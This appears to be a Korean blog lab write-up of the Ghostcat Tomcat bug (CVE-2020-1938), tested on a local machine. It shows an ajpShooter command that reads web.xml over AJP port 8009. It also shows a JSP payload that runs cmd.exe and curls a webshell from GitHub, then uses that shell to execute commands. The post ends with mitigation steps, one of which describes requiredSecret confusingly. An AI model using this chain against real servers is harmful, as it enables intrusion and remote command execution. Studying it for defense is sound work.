실습 환경 Windows 10 Tomcat 8.5.50 Java 16.0.1 python 3.8.3 |
Ghostcat 취약점이란?
CVE-2020-1938은 Apache Tomcat 취약점이다. Tomcat에는 포트 8080을 사용하는 HTTP 커넥터와 포트 8009를 사용하는 AJP 커넥터가 있다. HTTP 커넥터는 http 웹 서비스를 제공하고 AJP는 데이터 교환에 사용된다. 따라서, ajp 커넥터는 디폴트로 포트 8009를 통해 활성화되어 있다. 이때 공격자는 AJP 버그를 이용하여 서버에 있는 파일에 접근할 수 있다. 해당 취약점 발견 당시, 톰캣 9/8/7/6 버전에 영향을 미쳐 휴면 상태였기에 Ghostcat이라고 불린다.
실습 환경
Windows 10
Tomcat 8.5.50
Java 16.0.1 ( 버전 상관 없음 )
Python 3.8.3 ( 버전 상관 없음 )
실습
① 톰켓 구동 테스트
아래의 프로젝트를 다운로드하여 file.jsp, viewPage.jsp를 apache-tomcat-8.5.50/webapps/ROOT 폴더에 추가하고 cos.jar를 apache-tomcat-8.5.50/lib에 추가합니다.
apache-tomcat-8.5.50/webapps/ROOT 에 file이라는 이름을 가진 폴더를 만듭니다.
127.0.0.1:8080/file.jsp 사이트가 제대로 실행되는지 확인합니다.
파일 업로드 기능을 테스트 하기위해 로컬에 있는 파일을 선택하여 업로드합니다.
user명과 title명은 상관없습니다.
업로드 버튼을 누르면 해당 파일이 업로드된 위치가 뜹니다.
해당 위치에 업로드한 파일이 있는지 확인합니다.
② 공격
: 웹에서 확인 불가능한 web.xml 파일을 확인하고 jsp 파일을 추가하여 페이지의 CMD 기능을 통해 명령어 실행
1. 웹에서 web.xml 확인 > 127.0.0.1:8080/WEB-INF/web.xml 접속
2. POC 공격 툴 다운 및 압축 풀기
3. CMD에서 다운로드한 POC코드를 사용하여 8009 포트가 연결된 AJP 커넥터를 통해 web.xml 읽기 시도
> python ajpShooter.py http://127.0.0.1 8009 /WEB-INF/web.xml read
읽기 성공 ! ☞ 톰켓 취약점 확인
4. ghostcat.txt라는 텍스트 파일을 만들고 아래의 코드를 입력합니다.
코드는 서버에서 cmd를 이용해 cmd.jsp 파일을 다운로드하는 명령어입니다.
<% Runtime.getRuntime().exec("cmd.exe /C curl -o ..\\webapps\\ROOT\\cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>
CMD에서 https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp 의 리소스를 ..\webapps\ROOT\cmd.jsp를 생성하여 출력하도록 명령합니다.
5. ghostcat.txt를 업로드합니다.
6. read 명령어를 통해 업로드한 파일에 접근 가능한 것을 확인하고 eval 명령어를 통해 ghostcat.txt를 jsp로 실행합니다.
>> 업로드 기능을 통해 url상에 있는 웹셀을 다운로드하여 실행
7. cmd.jsp를 확인할 수 있습니다.
8. 127.0.0.1:8080/cmd.jsp?cmd=whoami 에 접속 > 해당 페이지의 cmd 기능을 통해 명령어 실행이 가능
③ 방어
tomcat을 최신버전으로 업데이트 할 수 없다면,
C:\apache-tomcat-8.5.50\conf에 있는 server.xml을 수정해야 한다.
▶ AJP 커넥터를 사용하지 않는 경우, AJP connector를 비활성화 합니다.
☞ server.xml 의 아래 부분을 주석처리
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
아래와 같이 수정
▶ AJP 커넥터를 사용하는 경우, AJP connector를 사용할 수 있는 ip주소를 제한합니다. (1개만 등록가능)
☞ server.xml 의 동일 부분에 requiredSecret 속성을 추가한다.
☞ 해당 속성의 값에는 ajp 커넥터 사용을 허가하는 IP 값을 넣어준다.
수정후 톰켓을 재시작하여 적용한다.
참고사이트
'보안' 카테고리의 다른 글
CSRF (크로스 사이트 리퀘스트 변조) 실습 (0) | 2021.08.12 |
---|---|
setoolkit을 이용하여 피싱 사이트 제작 실습 (0) | 2021.08.11 |
VMware에 칼리 리눅스 설치하기 (0) | 2021.06.26 |